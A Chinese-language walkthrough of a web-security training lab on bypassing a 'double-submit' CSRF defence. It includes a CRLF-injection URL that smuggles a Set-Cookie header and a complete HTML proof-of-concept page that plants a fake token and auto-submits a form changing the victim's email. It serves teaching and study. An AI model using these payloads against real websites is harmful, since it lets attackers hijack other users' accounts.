CSRF 令牌简单地复制到 cookie 中
在上述漏洞的进一步变体中,一些应用程序不维护任何已发布令牌的服务器端记录,而是在 cookie 和请求参数中复制每个令牌。在验证后续请求时,应用程序只需验证请求参数中提交的令牌是否与 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,并且被提倡是因为它易于实现并且避免了任何服务器端状态的需要:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得他们自己的有效令牌。他们只是发明了一个令牌(可能是所需的格式,如果正在检查),利用 cookie 设置行为将他们的 cookie 放入受害者的浏览器,并在他们的 CSRF 攻击中将他们的令牌提供给受害者。
本实验室的电子邮件更改功能易受 CSRF 攻击。它试图使用不安全的“双重提交”CSRF 预防技术。
要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录自己的帐户: wiener:peter
方法
使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察csrfbody 参数的值只是通过将它与csrfcookie进行比较来验证。
执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。
创建一个 URL,利用此漏洞将虚假csrfcookie 注入受害者的浏览器:
/?search=test%0d%0aSet-Cookie:%20csrf=fake
按照没有防御实验室 的CSRF 漏洞解决方案中的说明创建并托管概念验证漏洞利用,确保您的CSRF 令牌设置为“假”。应该从电子邮件更改请求中创建漏洞利用。
删除脚本块,改为添加以下代码以注入 cookie 并提交表单:
存储漏洞,然后单击“交付给受害者”以解决实验室问题。
代码如下:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState(‘‘, ‘‘, ‘/‘)</script>
<form action="https://ac131fb51eff23f3804fc2d8002100d1.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener@administrator.net" />
<input type="hidden" name="csrf" value="1234abcd" />
</form>
<img src="https://ac131fb51eff23f3804fc2d8002100d1.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=1234abcd" onerror="document.forms[0].submit();"/>
</body>
</html>
Lab: CSRF where token is duplicated in cookie CSRF,其中令牌在 cookie 中重复